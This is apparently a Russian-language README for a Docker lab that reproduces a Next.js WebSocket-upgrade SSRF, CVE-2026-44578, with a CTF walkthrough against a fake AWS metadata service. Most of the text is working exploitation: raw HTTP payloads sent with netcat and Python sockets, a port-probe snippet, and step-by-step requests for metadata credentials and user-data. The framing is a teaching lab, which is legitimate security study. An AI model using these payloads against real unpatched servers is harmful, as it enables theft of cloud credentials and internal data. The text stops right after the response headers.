CVE-2026-44578 — Next.js WebSocket Upgrade SSRF (Лаборатория)

Автономная лаборатория для воспроизведения уязвимости CVE-2026-44578 (CWE-918, SSRF) в приложениях Next.js self-hosted, использующих встроенный сервер Node.js.

Поле	Значение
CVE	CVE-2026-44578
GHSA	GHSA-c4j6-fc7j-m34r
CVSS 3.1	8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
Тип	SSRF (CWE-918)
Затронутые версии	Next.js 13.4.13 – 15.5.15 и 16.0.0 – 16.2.4
Исправленные версии	15.5.16 и 16.2.5
Аутентификация	не требуется
Взаимодействие с пользователем	не требуется

Топология лаборатории

Атакующий (host: 0.0.0.0)
    │  HTTP :3000 (публичный)
    ▼
┌──────────────────────────┐  одно сетевое пространство  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (учётные данные,    │
│ (встроенный сервер Node) │                           │  user-data, индекс) │
└──────────────────────────┘                           └─────────────────────┘

• nextjs-vuln (порт 3000): уязвимое приложение, доступное на 0.0.0.0:3000.
• imds-sidecar: имитация metadata-сервиса AWS, работающая на localhost:80 внутри namespace контейнера Next.js, моделирующая реальный облачный инстанс. Недоступна с хоста напрямую (порт не опубликован).

                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # PoC автоматизированный (5 probes)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + секретные маршруты
                        └── nextjs-app/             # Реалистичное приложение "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # navbar/footer
                            │   ├── page.js         # landing
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (уязвимая)

Почему это уязвимо

Обработчик upgrade WebSocket в router-server.ts вызывает proxyRequest(), когда в разобранном URI есть parsedUrl.protocol, без проверки флагов finished и statusCode, которые обычный HTTP-обработчик всегда устанавливал:

  // уязвимо (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // патч (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

Вектор атаки использует request line с абсолютным URI с двойным слэшем: GET http:///path. normalizeRepeatedSlashes схлопывает http:/// в http:/, в результате чего hostname отсутствует, и http-proxy подключается к localhost:80 с нетронутым path:

GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

Наличие заголовков Connection: Upgrade + Upgrade: websocket приводит к тому, что запрос попадает в уязвимый обработчик upgrade вместо HTTP-обработчика с проверками безопасности.

Запуск лаборатории

docker compose up -d --build

Проверка, что приложение отвечает:

curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

Для работы на 0.0.0.0 маппинг портов в docker-compose.yml уже открывает 3000:3000 на всех интерфейсах.

Ручная эксплуатация

1. С помощью netcat (nc)

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. Чистый Python (stdlib, без зависимостей)

python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. С помощью автоматизированного PoC

python3 exploit/exploit.py 127.0.0.1 3000

CTF — ручной захват финального флага

Полный 100 % ручной процесс в 4 фазах. Во внутреннем сервисе (localhost:80) скрыто 4 флага; это руководство показывает путь до первого и оставляет маршруты для поиска остальных.

Фаза 1 — Разведка

# Фингерпринт сервера
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# Открытые порты через сокет (без nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

Прямого доступа к 127.0.0.1:80 у атакующего нет: единственный вектор — заставить сервер Next.js (который находится в той же сети, что и внутренний сервис) сделать запрос за нас.

Фаза 2 — Перечисление metadata-сервиса через SSRF

Сначала подтверждаем SSRF, запросив индекс metadata-сервиса:

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Ответ индекса → кандидаты: instance-id, hostname, iam/security-credentials/, user-data (первый флаг). Индекс latest/meta-data/ также раскрывает под-ключи, которые стоит продолжить исследовать.

Фаза 3 — Сборка payload (байт за байтом)

GET http:///latest/user-data HTTP/1.1

Часть	Функция
GET	Уязвимость проксирует только GET
http:///latest/user-data	Абсолютный URI. http:/// схлопывается в http:/ → hostname null → прокси подключается к localhost:80, сохраняя path /latest/user-data
Host: 127.0.0.1:3000	Иначе сервер отвечает 400
Connection: Upgrade + Upgrade: websocket	Направляют запрос в уязвимый обработчик upgrade (обычный HTTP-обработчик проверки выполняет)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==	Минимальные заголовки, требуемые в легитимном handshake

Завершение: \r\n\r\n в raw-сокете (без тела).

Фаза 4 — Ручной запуск и захват флага

# Вариант A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

# Вариант B: raw-сокет на Python (та же точность, без nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

Вывод — первый флаг приходит в теле ответа внутреннего сервиса:

HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14